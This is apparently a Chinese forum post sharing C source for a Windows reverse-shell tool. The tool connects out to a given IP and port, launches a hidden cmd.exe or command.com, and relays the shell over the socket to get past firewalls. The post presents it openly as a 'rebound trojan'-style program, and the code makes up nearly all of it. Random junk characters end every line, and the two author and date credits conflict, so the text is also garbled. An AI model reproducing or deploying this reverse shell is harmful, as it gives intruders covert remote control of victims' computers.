这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;LKkbT
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/* ============================== ,B*EVN
Rebound port in Windows NT [:
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By wind,2006/7 +5g_KS
===============================*/ a_^\=&?'
#include xC?6v'
#include ]Grek<
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#pragma comment(lib,"wsock32.lib") s0TORl6Z|
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void OutputShell(); g{]0sn#
SOCKET sClient; 8rAg\H3E
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WH#1zv
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void main(int argc,char **argv) rQ{7j!Im
{ )` Sr fGp8
WSADATA stWsaData; Hp|kQJ[L E
int nRet; b"<liGh"n-
SOCKADDR_IN stSaiClient,stSaiServer; #X+JHl
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if(argc != 3) 0mYXv4
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{ ^lnK$i
printf("Useage:\n\rRebound DestIP DestPort\n"); sg^zH8,3
return; pTth}JM>
} M~Tuj1?
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WSAStartup(MAKEWORD(2,2),&stWsaData); x xHY+(m
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <VMGTBVQ
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stSaiClient.sin_family = AF_INET; XAD- 'i
stSaiClient.sin_port = htons(0); wyH[x!QX
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 9R!atPz9
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) F$y$'Rzu_B
{ )J o:pkM
printf("Bind Socket Failed!\n"); F>SRs =_
return; Co9^OF-k
} ;>%r9pz ~
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stSaiServer.sin_family = AF_INET; XW2b| %T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ol\Utq,
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %Bj\W'V&p
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) np|Sy;:
{ f=+mIZ
printf("Connect Error!"); JMCKcZ%N
return; g.k"]lP
} .r=4pQ@#
OutputShell(); ?>9/#Nv
} rET\n(AJ
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void OutputShell() q^@Q"J =v
{ 7(1|xYCx$
char szBuff[1024]; lf`{zc r:
SECURITY_ATTRIBUTES stSecurityAttributes; (q/e1L-S
OSVERSIONINFO stOsversionInfo; dohA0
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; i'<[DjMDlm
STARTUPINFO stStartupInfo; 9Z$"K- G
char *szShell; F@D`N0Pte
PROCESS_INFORMATION stProcessInformation; `{@8Vsmy:
unsigned long lBytesRead; ''cInTCr
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); V5@:#BIs
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^do9*YejX;
stSecurityAttributes.lpSecurityDescriptor = 0; f#>,1,S
stSecurityAttributes.bInheritHandle = TRUE; djl*H
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c1(RuP:S
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .|KyNBn
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kM l+yli3c
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G<zwv3
stStartupInfo.wShowWindow = SW_HIDE; EmWn%eMN
stStartupInfo.hStdInput = hReadPipe; AG
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; vQG5*pR*w
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GetVersionEx(&stOsversionInfo); P-_6wfg,;>
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switch(stOsversionInfo.dwPlatformId) eI}aQ]$ED
{ e-/&$Qq
case 1: ](]i 'fE>
szShell = "command.com"; [-1^-bb
break; BGZ#wru
default: *->W^1eGM
szShell = "cmd.exe"; d A}-]
break; jxJ8(sr$
} ,$L4dF3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); _#E0g'3
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send(sClient,szMsg,77,0); #<"~~2?
while(1) JPI3[.o
{ Jl8H|<g~/
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Mmj;-u
if(lBytesRead) |*eZD-f
{ 8P\G}
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Pl06:g2I
send(sClient,szBuff,lBytesRead,0); <]t%8GB2V
} e;q!6%
else ~8Fk(E_
{ ;\dBfP
lBytesRead=recv(sClient,szBuff,1024,0); Z9ZPr?C=
if(lBytesRead<=0) break; +4~_Ei[i
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ./Zk`-OBT
} Lnl(2xD
} :K,i\
T@B/xAq5!
return; /N10
}